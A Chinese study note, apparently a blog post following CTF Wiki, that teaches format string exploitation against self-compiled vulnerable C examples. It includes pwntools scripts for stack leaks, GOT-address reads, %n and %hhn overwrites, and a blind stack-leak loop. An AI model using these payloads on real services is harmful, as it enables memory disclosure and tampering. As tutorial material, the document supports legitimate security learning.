前言

继续来跟着 CTF WIKI 来学习格式化字符串漏洞

原理

格式化字符串函数是将计算机内存中表示的数据转化为我们人类可读的字符串格式,可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。

常见的格式化字符串函数

函数基本介绍
printf输出到 stdout
fprintf输出到指定 FILE 流
vprintf根据参数列表格式化输出到 stdout
vfprintf根据参数列表格式化输出到指定 FILE 流
sprintf输出到字符串
snprintf输出指定字节数到字符串
vsprintf根据参数列表格式化输出到字符串
vsnprintf根据参数列表格式化输出指定字节到字符串
setproctitle设置 argv
syslog输出日志
err, verr, warn, vwarn 等。。。

以下图为例

print 函数会按照这个形式Color %s, Number %d, Float %4.2f去解析对应的其他参数

%d : 十进制 - 输出十进制整数

%s : 字符串 - 从内存中读取字符串

%x : 十六进制 - 输出十六进制数

%c : 字符 - 输出字符

%p : 指针 - 指针地址

%n : 到目前为止所写的字符数

那么怎么造成格式化字符串漏洞呢?继续以上面的例子为例,当 print 函数没有参数时,即

1
printf("Color %s, Number %d, Float %4.2f")

程序会继续运行,但是当运行到%s时,如果提供了一个不可访问的地址或者受保护的地址,那么程序会因此而崩溃。

泄露内存

泄露栈内存

我们以一个程序为例

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

编译程序

1
gcc -m32 -fno-stack-protector -no-pie example1.c -o example1

使用 gdb 进行调试,在 printf 函数下断点,然后运行,我们传入%08x.%08x.%08x

接着我们看一下栈空间

第一个%08x解析的是 0x1 (代码中的a),第二个%08x解析的是0x22222222(代码中的b),第三个%08x解析的是 -1,接着后面的%s把我们的输入都打印出来,即%08x.%08x.%08x
我们继续输入 c 运行程序

可以看见程序在到第二个 printf 函数时中断了,因为第二个 printf 函数我们没有传递参数。但程序会在栈上寻找临近的三个参数根据格式化字符串打印出来,如此会把后面三个栈上的值都输出

这样就会造成栈内存泄露,但上面的例子都是获取临近内容,我们可以使用%n$p来获取第n个参数内容,例如输入%2$p

打印出相对于格式化字符串的第二个参数对应的值

小技巧总结

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。

泄露任意地址内存

上述讲了泄露栈上的变量值,下面讲如何泄露变量的地址。如果我们知道格式化字符串在输出函数调用时是第几个参数,就可以通过addr%k$s的办法来获取指定地址 addr 的内容(这里的 k 指第 k 个参数)
我们可以通过如下形式进行枚举

1
aaaa%p--%p--%p--%p--%p--%p--%p--%p--%p--%p--


可以看到 aaaa 对应的 0x61616161 在第四个位置上,也就是格式化字符串的第四个参数,我们知道是第几个参数之后就可以用aaaa%4$p来指定,如果这里我们传的是某个函数的got地址,那么就可以打印出函数在内存中的真实地址
我们使用objdump -R example1来查看该程序got表

我们以 scanf 为例,写exp打印 scanf 函数的真实地址

1
2
3
4
5
6
7
8
9
from pwn import *
p = process("./example1")
elf = ELF("./example1")
elf_got = elf.got['__isoc99_scanf']
payload = p32(elf_got) + "%4$s"
p.sendline(payload)
p.recvuntil('%4$s\n')
success(hex(u32(p.recv()[4:8])))
p.interactive()

覆盖内存

覆盖栈内存

覆盖栈内存我们一般用到的是%n,只要变量对应地址可写,我们就可以通过格式化字符串来改变其对应的值
利用步骤如下

1、确定覆盖地址
2、确定相对偏移
3、进行覆盖

我们继续以一个程序为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

编译程序:gcc -m32 -fno-stack-protector -no-pie example2.c -o example2
我们可以通过之前说的办法来确定相对偏移,可以看到是格式化字符串的第六个参数

首先,例如我们知道 c 的地址为0xffc25b0c,为4字节,要想满足if (c == 16)还需要12个字节
编写exp

1
2
3
4
5
6
7
8
from pwn import *
p = process("./example2")
c_addr = int(p.recvuntil('\n'),16)
success(hex(c_addr))
payload = p32(c_addr) + 'a'*12 + '%6$n'
p.sendline(payload)
print p.recv()
p.interactive()


成功进入第一个if判断

覆盖任意地址内存

覆盖小数字

这里需要我们从4字节(32位程序地址是4字节)变成2字节,也就是覆盖成小数字。如果像我们之前的做法,把地址放在前面,后面无论加什么都是比4大于的数,所以我们换成另一种策略,即使用aa%k$nxx的形式(这里xx是要补齐,32位程序中必须是4的倍数)

我们前面已经知道相对偏移是第六,也就是这里aa%k是第六个参数,而后面的$nxx需要往后加一也就是第七个参数,再加上我们想要修改的地址addr就是第八个参数,所以我们 k 要取 8,exp如下

1
2
3
4
5
6
7
from pwn import *
p = process("./example2")
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
p.sendline(payload)
print p.recv()
p.interactive()

上面 a 的地址可以去 ida 中查看

覆盖大数字

接下来到覆盖大数字,按照前面的办法我们可以一次性输出大数字字节来进行覆盖,但是这样基本不会成功,因为太长了,所以我们需要另辟蹊径。首先我们需要了解一下变量在内存中的存储格式

首先,所有的变量在内存中都是以字节进行存储的。
此外,在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。

所以我们想要覆盖成0x12345678,需要依次为\ x78\x56\x34\x12
接下来我们需要利用到以下字符串格式标志

1
2
3
4
hhn : 写入一字节
hn : 写入两字节
l : 写入四节写
ll : 写入八字节

也就是我们需要使用 hhn 一个字节来逐次写入,再配合%nx会返回16进制数来构造exp

1
2
3
4
5
6
7
8
9
from pwn import *
p = process("./example2")
b_addr = 0x0804A028
payload1 = p32(b_addr) + p32(b_addr+1) + p32(b_addr+2) + p32(b_addr+3)
payload2 = '%104x' + '%6$hhn' + '%222x' + '%7$hhn' + '%222x' + '%8$hhn' + '%222x' + '%9$hhn'
payload = payload1 + payload2
p.sendline(payload)
print p.recv()
p.interactive()

解析:payload1加起来是16字节,16+104 =120,120转成16进制就是78,120+222=342,342转成16进制就是156,取一字节56,后面依次类推

这里 pwntools 自带了一个好用的函数fmtstr_payload,exp可以简化为

1
2
3
4
5
6
7
from pwn import *
p = process("./example2")
b_addr = 0x0804A028
payload = fmtstr_payload(6, {0x804A028:0x12345678})
p.sendline(payload)
print p.recv()
p.interactive()

格式化字符串盲打

fmt_blind_stack

原理是在栈上,不断地去读数据就能得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'error'

def leak(payload):
sh = remote('127.0.0.1', 8887)
sh.sendline(payload)
data = sh.recvuntil('\n', drop=True)
if data.startswith('0x'):
print p64(int(data, 16))
sh.close()
i = 1
while 1:
payload = '%{}$p'.format(i)
leak(payload)
i += 1

结语

up!up!up!

参考链接:
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/
https://www.yuque.com/hxfqg9/bin/aedgn4